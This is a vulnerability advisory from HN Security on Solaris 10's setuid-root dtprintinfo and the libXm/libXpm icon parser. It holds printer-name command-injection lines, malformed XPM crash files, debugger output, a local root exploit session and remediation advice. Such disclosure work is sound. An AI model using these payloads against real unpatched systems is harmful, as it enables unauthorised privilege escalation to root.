`--[ HNS-2022-01 - HN Security Advisory - https://security.humanativaspa.it/
* Title: Multiple vulnerabilities in Solaris dtprintinfo and libXm/libXpm
* Products: Common Desktop Environment 1.6, Motif 2.1, X.Org libXpm < 3.5.15
* OS: Oracle Solaris 10 (CPU January 2021)
* Author: Marco Ivaldi <[email protected]>
* Date: 2023-01-18
* Oracle vulnerability tracking numbers:
* S1597707 - Arbitrary printer name injection
* S1597724 - Heap memory disclosure via long printer names
* S1597711 - Memory corruption via malformed icon files
* S1597730 - Stack-based buffer overflow in libXm ParseColors
* CVE IDs:
* CVE-2022-46285 - Infinite loop on unclosed comments in X.Org libXpm
* Advisory URLs:
* https://github.com/hnsecurity/vulns/blob/main/HNS-2022-01-dtprintinfo.txt
* https://lists.x.org/archives/xorg-announce/2023-January/003312.html
* https://lists.x.org/archives/xorg-announce/2023-January/003313.html
* Exploit URLs:
* https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c
--[ 0 - Table of contents
1 - Summary
2 - Vulnerabilities
2.1 - Arbitrary printer name injection
2.2 - Heap memory disclosure via long printer names
2.3 - Memory corruption via malformed icon files
2.4 - Stack-based buffer overflow in libXm ParseColors()
3 - Analysis
3.1 - Printer name injection and heap memory disclosure
3.2 - Memory corruption via malformed icon files
4 - Exploitation
5 - Affected products
6 - Remediation
7 - Disclosure timeline
8 - References
--[ 1 - Summary
"What has been will be again,
what has been done will be done again;
there is nothing new under the Sun."
-- Ecclesiastes 1:9
We have identified multiple security vulnerabilities that are exploitable
via the the setuid-root dtprintinfo binary from the Common Desktop
Environment (CDE) distributed with Oracle Solaris 10 (CPU January 2021):
* A bug in the parser of the lpstat external command invoked by dtprintinfo
to list the names of available printers allows low-privileged local users
to inject arbitrary printer names via the $HOME/.printers file.
* Printer name injection allows low-privileged local users to manipulate
the control flow of the target program and disclose memory contents.
Based on our analysis, this bug does not seem to be directly exploitable
to achieve arbitrary code execution. However, we recommend treating it as
a potential security vulnerability and fix it as such.
* The ability to inject arbitrary printer names opens other attack vectors
that otherwise would not be available on systems without configured
printers. As an example, we discovered multiple icon parsing bugs in the
Motif library libXm that cause memory corruption.
We demonstrated the possibility to exploit one of these memory corruption
bugs, a stack-based buffer overflow in the ParseColors() function of libXm,
to achieve local privilege escalation to root on Solaris 10.
--[ 2 - Vulnerabilities
Following our last CDE vulnerability disclosures [1], Oracle kindly shared
with us a copy of their then current Solaris 10 security patch set (CPU
January 2021), so that we could install it in our lab and verify the fixes
for the bugs we had reported.
In addition to verifying these fixes, we decided to take a closer look at
the dtprintinfo program distributed with CDE, because of its complexity and
its impressive historical record of high-impact vulnerabilities [2]. These
are the results of our research.
--[ 2.1 - Arbitrary printer name injection
After fruitlessly spending a few days reversing and auditing the patched
version of dtprintinfo, we came up with the idea of using the poor man's
fuzzer below to quickly check for the presence of flaws in the parsing of
the $HOME/.printers file:
bash-3.2$ cat /dev/urandom > ~/.printers
^C
Indeed, this led to immediate results. It turns out that it is possible to
inject fake printers to be displayed by dtprintinfo. To do so, we need to
craft a .printers file that contains at least one line in the following
format:
<string><space>:<\n>
Where <string> can be any string, including most special characters, and
<space> can either be a space (0x20) or a tab (0x09) character. For
instance, the following line will inject a fake printer named "FOO":
FOO :
Since dtprintinfo uses printer names as arguments for some external
commands that it invokes, it is possible to abuse this flaw to inject
arbitrary commands. For instance, to execute an injected command when we
double-click on a printer icon in the X11 GUI, we can craft a .printers
file that contains lines such as the following (space and tab characters
cannot be used in the injected command string for obvious reasons):
FOO;/usr/bin/id>/tmp/pwned; :
BAR;/usr/bin/cat</tmp/PAYLOAD; :
Unfortunately for us attackers, dtprintinfo fork()s and permanently drops
root privileges via setuid() before running external commands. Therefore,
the injected commands are executed with regular user privileges. This means
we can only abuse the described printer name injection bug to trigger an
additional second-order vulnerability, if such a vulnerability exists.
Here's a couple of ideas we have experimented with to no avail:
* Use the "cat<PAYLOAD" pattern above to trigger either an integer
overflow, a buffer overflow, or a format string bug.
* Inject a printer name that contains a format string or a directory
traversal payload to trigger some other bug down the line.
The third obvious idea is to inject a long printer name and see what
happens. What happened in our case is that we were able to trigger an
out-of-bound read and disclose partial heap memory contents of our target
setuid-root binary.
--[ 2.2 - Heap memory disclosure via long printer names
To reproduce this bug, first craft a malicious .printers file as follows
and create a hardlink to it named .printers.new, to prevent renaming by the
DtConfigPrinters::renameUserPrinterSelectionFile() method that gets called
while dtprintinfo is initializing queues in DtApp::UpdateQueues():
bash-3.2$ echo "FOO;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; :" > ~/.printers
bash-3.2$ ln ~/.printers ~/.printers.new
Then, trace dtprintinfo's execution via a setuid-root truss program to log
access to interesting memory addresses:
bash-3.2$ export DISPLAY=:0
bash-3.2$ truss -fae -u '*' -u a.out /usr/dt/bin/dtprintinfo -all 2> OUT
At this point, in dtprintinfo's GUI:
* Select "View" > "Select Printers to Show..." from the menu.
* Select the injected printer to be shown.
* Click on "Apply" and then click on "OK".
* Select "Printers" > "Exit" from the menu, closing dtprintinfo.
Now, examining the .printers file modified by dtprintinfo while it was
running, we can notice that it contains non-printable characters, which are
in fact leaked heap memory contents. For instance:
bash-3.2$ od -x ~/.printers
0000000 615f 6c6c 5c20 460a 4f4f 413b 4141 4141
0000020 4141 4141 4141 4141 4141 4141 4141 4141
*
0001000 4141 4141 4141 4141 4141 3b41 0a2c 4141
0001020 4141 4141 4141 4141 4141 4141 4141 4141
*
0001400 4141 4141 4141 4141 4141 4141 4141 e948
0001420 0810 6938 0810 0409 410a 4141 4141 4141
^^^^^^^^^ << 0x08106938
0001440 4141 4141 2c3b 000a
0001447
By observing the output of truss, we can find the example leaked memory
address highlighted above:
-> __0fJContainerLInnerWidgetv(0x8105ea8)
<- __0fJContainerLInnerWidgetv() = 0x8106938
^^^^^^^^^
-> libXm:_XmManagerGetValuesHook(0x8106938, 0xfe6a1820, 0x8047840)
^^^^^^^^^
...
-> __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec(0x8106d60, 0x8105ea8, 0x8086c3f, 0x0)
-> __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD(0x8106d60, 0x8106938, 0xfe62bd00, 0x8106dd0)
^^^^^^^^^
By playing with different printer name lengths between 256 and 1024 bytes
and/or clicking on "Apply" or "OK" multiple times, we can leak different
heap memory contents.
The "Set Default" button can be used to cause a similar .printers file
corruption. In addition, instead of injecting a single long printer name,
we can trigger the same bug by injecting a long list of regular printer
names and selecting them to be shown in dtprintinfo's GUI.
--[ 2.3 - Memory corruption via malformed icon files
The ability to inject arbitrary printer names opens other attack vectors
that otherwise would not be available on systems without configured
printers. In fact, only privileged users can create or update printing
configuration in /etc/printers.conf, usually via /usr/sbin/printmgr or
/usr/bin/lpset.
One such vector we thought that was worth exploring is the parsing of
printer icons in the XPM format [3]. A low-privileged local user can supply
his or her own icons for dtprintinfo to show by placing them in the
$HOME/.dt/icons directory and selecting them in the X11 GUI. A bug in the
XPM parser could easily lead to memory corruption and privilege escalation.
To prove our point, we built a rudimentary mutation fuzzer written in
Python and we unearthed a few icon parsing bugs in the libXm library
(/usr/dt/lib/libXm.so.4) used by CDE, that was originally part of the Motif
toolkit [4].
As a starter, the following malformed icon file with an unbalanced comment
block will crash dtprintinfo:
/* XPM */
static char * sample_xpm[] = {
"15 19 6 1",
" c None",
". c #FFFFFF",
"+ c #000000",
"@ c #99FFCC",
"# c #66CCCC",
"$ c #339966",
/* CRASH
".+++++++++++++.",
"+@@@@@@@@@@@@#+",
"+@###########$+",
"+@###....####$+",
"+@##......###$+",
"+@#...$$...##$+",
"+@#..$$##..$#$+",
"+@##$$##...$#$+",
"+@#####...$$#$+",
"+@####...$$##$+",
"+@####..$$###$+",
"+@####..$####$+",
"+@#####$$####$+",
"+@####..#####$+",
"+@####..$####$+",
"+@#####$$####$+",
"+@###########$+",
"+#$$$$$$$$$$$$+",
".+++++++++++++."};
To reproduce the crash, inject an arbitrary printer as described earlier
and perform the following actions:
* Craft the malformed XPM icon above in the following files in ~/.dt/icons:
crash.l.pm
crash.m.pm
crash.t.pm
* Launch dtprintinfo with proper command-line options (e.g., -all).
* Select the injected printer, and click on "Selected" > "Properties...".
* Click on "Find Set..." and choose "~/.dt/icons" from the drop-down menu.
After a short while, dtprintinfo should segfault:
Program terminated with signal 11, Segmentation fault.
#0 0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4
(gdb) x/i $pc
0xfed322c8 <ParseComment+186>: mov (%edi),%ah
(gdb) i r
eax 0x8045bff 134503423
ecx 0x80456f0 134502128
edx 0xfe972be0 -23647264
ebx 0xfee90000 -18284544
esp 0x8024fbc 0x8024fbc
ebp 0x8024fdc 0x8024fdc
esi 0x7 7
edi 0xfeffffff -16777217
eip 0xfed322c8 0xfed322c8 <ParseComment+186>
...
(gdb) bt
#0 0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4
#1 0xfed321dc in _XmxpmNextString () from /usr/dt/lib/libXm.so.4
#2 0xfed3392a in ParsePixels () from /usr/dt/lib/libXm.so.4
#3 0xfed32511 in _XmxpmParseData () from /usr/dt/lib/libXm.so.4
#4 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4
#5 0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1
#6 0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1
#7 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD ()
#8 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec ()
#9 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec ()
#10 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT ()
#11 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT ()
...
At a glance, this does not look exploitable. A much better-looking crash
can be triggered with the following malformed icon file:
00000000: 2f2a 2058 504d 202a 2f0a 7374 6174 6963 /* XPM */.static
00000010: 2063 6861 7220 2a78 6d61 6e5b 5d20 3d20 char *xman[] =
00000020: 7b0a 2f2a 2077 6964 7468 2068 6569 6768 {./* width heigh
00000030: 7420 6e63 6f6c 6f72 7320 6368 6172 735f t ncolors chars_
00000040: 7065 725f 7069 7865 6c20 2a2f 0a22 3820 per_pixel */."8
00000050: 3820 3320 3122 2c0a 2f2a 2063 6f6c 6f72 8 3 1",./* color
00000060: 7320 2a2f 0a22 6520 6734 2062 6c61 636b s */."e g4 black
00000070: 2063 2070 616c 6520 7475 7271 756f 6973 c pale turquois
00000080: 6520 3422 2c0a 22fe 206d 2077 6869 7465 e 4",.". m white
^^ << this 0xfe byte triggers the crash
00000090: 2063 206c 6967 6874 2067 6f6c 6465 6e20 c light golden
000000a0: 726f 6420 7965 6c6c 6f77 2067 3420 6772 rod yellow g4 gr
000000b0: 6579 222c 0a22 6720 6720 7768 6974 6520 ey",."g g white
000000c0: 6320 6c65 6d6f 6e20 6368 6966 666f 6e20 c lemon chiffon
000000d0: 6d20 626c 6163 6b22 2c0a 2f2a 2070 6978 m black",./* pix
000000e0: 656c 7320 2a2f 0a22 6565 6565 6565 6565 els */."eeeeeeee
000000f0: 222c 0a22 6666 6666 6666 6666 222c 0a22 ",."ffffffff",."
00000100: 6767 6767 6767 6767 222c 0a22 6767 6767 gggggggg",."gggg
00000110: 6767 6767 220a 7d3b 0a gggg".};.
Program terminated with signal 11, Segmentation fault.
#0 0x027efed3 in ?? ()
(gdb) i r
eax 0xfe634c80 -27046784
ecx 0x3 3
edx 0x0 0
ebx 0xfee90002 -18284542
esp 0x8045668 0x8045668
ebp 0x80456d0 0x80456d0
esi 0x80460d0 134504656
edi 0x80456f0 134502128
eip 0x27efed3 0x27efed3
...
#0 0x027efed3 in ?? ()
#1 0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4
#2 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4
#3 0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1
#4 0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1
#5 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD ()
#6 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec ()
#7 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec ()
#8 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT ()
#9 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT ()
It looks like we have at least partial control over the eip register! A
promising crash indeed... An interesting variation that can help shed light
on the reasons of this crash can be obtained by replacing the 0xfe byte
with 0xff:
Program terminated with signal 11, Segmentation fault.
#0 0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4
(gdb) x/i $pc
0xfed20268 <_XmxpmFreeColorTable@plt>: jmp *0x19ec(%ebx)
(gdb) i r
eax 0xfe62d680 -27076992
ecx 0x3 3
edx 0x0 0
ebx 0x20000 131072
esp 0x8045668 0x8045668
ebp 0x80456d0 0x80456d0
esi 0x80460d0 134504656
edi 0x80456f0 134502128
eip 0xfed20268 0xfed20268 <_XmxpmFreeColorTable@plt>
...
#0 0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4
#1 0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4
#2 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4
#3 0xfeef9ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1
#4 0xfeef9b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1
#5 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD ()
#6 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec ()
#7 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec ()
#8 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT ()
#9 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT ()
Based on our quick analysis, ebx gets corrupted in ParsePixels() and then
its value is used to calculate a jump location by code in the .plt section.
We have not deeply investigated these instances of memory corruption and we
have not seriously fuzzed libXm's XPM parser. We would like to leave
further exploration of this attack vector, as well as any vulnerabilities
in other libraries used by dtprintinfo, as an exercise for you, dear
readers. ;)
--[ 2.4 - Stack-based buffer overflow in libXm ParseColors()
After our brief but intense artisanal fuzzing experience, before giving up
on dtprintinfo and going for some fancier target, it was time to go back to
static analysis for a short while, specifically targeting the apparently
weak libXm library.
We fired up our Rhabdomancer Ghidra script [5] to quickly find locations in
the library where unsafe API functions are called, using them as starting
points for our binary audit. Among some interesting candidate points, the
following one stood up, in the familiar ParseColors() function that we had
already encountered while analyzing the crashes produced by our XPM fuzzer:
int ParseColors(int *data, uint ncolors, uint cpp, undefined4
*colorTablePtr, undefined4 hashtable)
{
...
char local_83c[1024];
char local_43c[1024];
...
local_c = _XmxpmNextWord(local_34, local_83c, 0x400);
...
local_83c[local_c] = '\0';
strcat(local_43c, local_83c); /* VULN */
}
A perfect specimen of stack-based buffer overflow! We have found yet
another memory corruption bug in the parsing of printer icons in the XPM
format. This one has a high likelihood of being exploitable to achieve
arbitrary code execution and local privilege escalation.
--[ 3 - Analysis
Let's briefly analyze what causes the identified vulnerabilities.
--[ 3.1 - Printer name injection and heap memory disclosure
The arbitrary printer name injection and heap memory disclosure bugs have
the following root causes:
* The /usr/bin/lpstat external command invoked by dtprintinfo to list the
names of available printers has a flawed parser, which allows
low-privileged local users to inject arbitrary printer names in the
user-controllable $HOME/.printers file:
bash-3.2$ cat ~/.printers
FOO;AAA; :
bash-3.2$ lpstat -v
system for FOO;AAA;: (null) (as lpd://(null)/printers/)
From our point of view, this in itself is not a big deal. Since lpstat is
executed after dropping privileges, we could in theory inject our own
code into this process anyway and control its behavior. For this reason,
we have not investigated lpstat any further. The real problem here is
architectural: dtprintinfo's functionality should be self-contained and
should not depend on external programs. This is not a robust design and
has led to more impactful vulnerabilities in the past [6].
* The dtprintinfo program blindly trusts the output of lpstat without
validating it. This allows low-privileged local users to craft
potentially dangerous inputs (such as printer names that are expected to
be in a consistent format), thus altering its behavior.
* Finally, the DtConfigPrinters::UpdateMainPrtList() method called by the
DtConfigPrinters::ApplyCB() and DtConfigPrinters::OkCB() callback
methods, when updating the .printers file, writes some additional bytes
after the actual printer names, thus corrupting the file contents. This
is caused by the fact that the DtConfigPrinters::readContinuedLine()
method called by DtConfigPrinters::UpdateMainPrtList() does not terminate
the returned buffer if it reads a line longer than 256 bytes that does
not contain a '\n' character. This non-terminated, heap-allocated buffer
is later passed to fprintf(), which then writes some characters that
reside past the logical end of the buffer to the .printers file, until a
NUL byte is found. This is how we get the observed memory disclosure.
Based on our analysis, the described memory disclosure bug does not seem to
be directly exploitable to achieve arbitrary code execution and local
privilege escalation. However, as usual, feel free to prove us wrong! All
considered, we recommend treating this bug as a potential security
vulnerability and fixing it as such.
--[ 3.2 - Memory corruption via malformed icon files
The stack-based buffer overflow in the ParseColors() function of libXm is
caused by the unchecked use of the unsafe API function strcat(). This
vulnerability can be triggered via a specially crafted XPM icon with long
color strings.
We have not spent much time analyzing the root causes of the crashes
reported by our XPM fuzzer. We recommend extensively auditing and fuzzing
libXm and the other libraries distributed with CDE that are used by
privileged programs. A quick manual audit and a few runs of our rudimentary
mutation fuzzer were enough to discover some shallow and dangerous memory
corruption bugs in the XPM parser. We expect more bugs to be present in
such ancient code.
--[ 4 - Exploitation
We have created a proof-of-concept exploit [7] that chains together the
printer name injection bug and the stack-based buffer overflow we have
identified in libXm. It allows a low-privileged local user to escalate his
or her privileges to those of the root user on Intel-based Solaris 10
systems with the latest patches installed (tested on CPU January 2021).
The exploit code is extensively commented and should be self-explanatory.
An example attack session follows:
$ uname -a
SunOS nostalgia 5.10 Generic_153154-01 i86pc i386 i86pc
$ id
uid=54322(raptor) gid=1(other)
$ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall
$ ./raptor_dtprintlibXmas 10.0.0.109:0
raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE
Copyright (c) 2023 Marco Ivaldi <[email protected]>
Using SI_PLATFORM : i86pc (5.10)
Using stack base : 0x8047fff
Using safe address : 0x8045790
Using rwx_mem address : 0xfeffa004
Using sc address : 0x8047fac
Using sprintf() address : 0xfefd1250
Path of target binary : /usr/dt/bin/dtprintinfo
# id
uid=0(root) gid=1(other)
Our exploit uses dtprintinfo as an attack vector to abuse one of the
vulnerabilities we discovered in libXm and escalate privileges to root.
Other vectors are potentially available to local and remote attackers, such
as other setuid or setgid binaries, daemons, and client applications that
use of the vulnerable library. As an example, the dticon application has
been confirmed to be affected by our stack-based buffer overflow.
--[ 5 - Affected products
The Common Desktop Environment 1.6 and Motif 2.1 distributed with Oracle
Solaris 10 are affected by the vulnerabilities discussed in this advisory.
All tests were conducted on the following Solaris 10 system, patched with
CPU January 2021:
bash-3.2$ showrev -a
Hostname: nostalgia
Hostid: 367f0939
Release: 5.10
Kernel architecture: i86pc
Application architecture: i386
Kernel version: SunOS 5.10 Generic_153154-01
OpenWindows version: Solaris X11 Version 6.6.2 14 August 2019
...
Solaris 10 for the SPARC architecture and older versions of the Solaris
operating system are also likely vulnerable.
Oracle Solaris 11.4 does not ship CDE or Motif by default. In addition, in
the xpmParseColors() function of the libXpm library shipped with Solaris
11.4, calls to the unsafe strcat() API function were replaced with calls to
strlcat(), which if used properly prevents buffer overflows. Solaris 11.4
in its default configuration and libXpm are only affected by the first
crash we identified, caused by an unbalanced comment block. Please note
that we have not conducted an audit on libXpm, which may contain other
bugs.
CDE 2.5.1 [8] is the latest version (at the time of this writing) of the
open-source fork of the Common Desktop Environment. Following our previous
vulnerability disclosures, their dtprintinfo binary is not installed
setuid-root anymore. Therefore, CDE 2.5.1 is not directly affected by the
vulnerabilities discussed in this advisory. Please note that we have not
conducted an audit on the open-source CDE's codebase, which may contain
other bugs.
Motif 2.3.8 [9] is the latest version (at the time of this writing) of the
open-source Motif project that includes the libXm library. In the
xpmParseColors() function, calls to the unsafe strcat() API function were
replaced with calls to the STRLCAT() macro, which if used properly prevents
buffer overflows. Therefore, Motif 2.3.8 is not affected by the
vulnerabilities discussed in this advisory. Please note that we have not
conducted an audit on Motif's codebase, which may contain other bugs.
--[ 6 - Remediation
Oracle assigned the following tracking numbers to our vulnerability
reports:
* S1597707 - Arbitrary printer name injection
* S1597724 - Heap memory disclosure via long printer names
* S1597711 - Memory corruption via malformed icon files
* S1597730 - Stack-based buffer overflow in libXm ParseColors
No fixes have been issued for Solaris 10. See the disclosure timeline below
for further details.
As a partial workaround, it is possible to remove the setuid bit from the
dtprintinfo binary as follows (note that this might prevent it from working
properly):
bash-3.2# chmod -s /usr/dt/bin/dtprintinfo
--[ 7 - Disclosure timeline
2022-01-18: Oracle was notified via <[email protected]>.
2022-01-19: Oracle acknowledged our vulnerability reports.
2022-04-20: Asked Oracle to provide an update on the patch release date.
2022-04-21: Oracle replied they could not comment on the patch release
date.
2022-09-03: Asked Oracle for an update and informed them of our plan to
publish a detailed advisory and a blog post before the end of
2022.
2022-09-12: Oracle replied they are working on the bugs and will be able to
give an update closer to the next CPU, scheduled for October.
2022-10-18: Oracle informed us that the vulnerabilities will be fixed in
their CPU of January 2023.
2022-12-20: With a surprise move, Oracle informed us that Solaris 10
desktop components have reached EOL and are no longer
supported. Therefore, Oracle will not be releasing patches for
bugs affecting Solaris 10. They will work with X.Org to get a
fix and an advisory released upstream for the first crash we
identified in libXm, which also affects X.Org libXpm. This
denial of service bug will be fixed in Solaris 11.4. As a final
note, it appears that the buffer overflows we discovered in
ParsePixels() and ParseColors() were already reported by Chris
Evans in 2004 and tracked as CVE-2004-0687
(https://security.appspot.com/security/CESA-2004-003.txt). Due
to an incomplete fix, they were not patched in Solaris 10 and
have survived in the code for 19 years! Since no patches for
Solaris 10 will be released, these issues have officially
become #ForeverDay bugs.
2023-01-17: X.Org released libXpm 3.5.15, which fixes CVE-2022-46285
(infinite loop on unclosed comments in X.Org libXpm). Oracle
published their CPU January 2023, which unfortunately does not
include fixes for our bugs that affect Solaris 10.
2023-01-18: Oracle informed us that Solaris 10 desktop components have
reached EOL at the end of 2019. EOL is documented in support
note 1400676.1, behind the paywall for Oracle's customers with
current support contracts. HN Security published this advisory
and a local privilege escalation exploit.
--[ 8 - References
[1] https://github.com/0xdea/raptor_infiltrate20
[2] https://www.exploit-db.com/search?q=dtprintinfo
[3] https://www.xfree86.org/current/xpm.pdf
[4] http://www.opengroup.org/desktop/motif.html
[5] https://github.com/0xdea/ghidra-scripts/blob/main/Rhabdomancer.java
[6] https://github.com/0xdea/raptor_infiltrate19
[7] https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c
[8] https://sourceforge.net/projects/cdesktopenv/
[9] https://sourceforge.net/projects/motif/
Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved.
`